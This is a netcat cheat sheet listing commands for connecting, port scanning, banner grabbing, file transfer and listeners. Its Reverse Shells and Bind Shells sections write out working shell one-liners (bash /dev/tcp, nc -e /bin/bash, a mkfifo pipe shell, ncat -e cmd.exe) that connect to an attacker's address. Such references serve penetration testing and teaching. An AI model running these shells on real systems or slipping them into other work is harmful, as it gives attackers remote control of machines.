Netcat Cheat Sheet

Note: on Linux use nc; on some distros ncat (nmap) is the enhanced replacement.

Basic Usage

• Connect to a port nc <host> <port>
• Verbose mode nc -v <host> <port>
• Timeout seconds nc -w 5 <host> <port>
• Scan ports for banner grab nc -zv <host> 20-80
• UDP mode nc -u <host> <port>

Reverse Shells

• Listen for reverse shell nc -lvnp 4444
• Linux target sends reverse shell bash -i >& /dev/tcp/<your-ip>/4444 0>&1
• Netcat-style reverse shell nc <your-ip> 4444 -e /bin/bash
• BusyBox alternative nc <your-ip> 4444 -e /bin/sh
• No -e available (classic nc): use named pipe

  rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <your-ip> 4444 > /tmp/f
  

• Windows reverse (ncat) ncat <your-ip> 4444 -e cmd.exe

Bind Shells

• Bind shell on target nc -lvnp 4444 -e /bin/bash (or add ncat variant)
• Connect to it nc <target-ip> 4444

File Transfer

• Send file (sender) nc -w 3 <receiver-ip> 4444 < file.txt
• Receive file nc -lvnp 4444 > file.txt
• Compressed transfer tar -czf - /home/user/Downloads | nc <receiver-ip> 4444
• Extract on receive nc -lvnp 4444 | tar -xzvf -

Port Scanning (quick)

• Scan a single port nc -vnz <host> 22
• Scan a range nc -vnz <host> 1-1024
• With timeout and exit codes nc -vz -w 1 <host> 80 && echo open

Banner Grabbing

• Grab service banner printf 'HEAD / HTTP/1.1\r\n\r\n' | nc <host> 80
• Or echo '' | nc -v <host> 443

Useful Flags (ncat/nc)

• -l listen, -p port, -n no DNS, -z zero-I/O scan mode, -v verbose, -u UDP, -w timeout, -e exec program, -k keep listening (ncat)
• Persistent listening ncat -k -lvnp 4444

Meterpreter-style persistence listener (handler-style)

• Not part of nc; use msfconsole → use exploit/multi/handler and fully interactive painless sessions instead for advanced shell needs.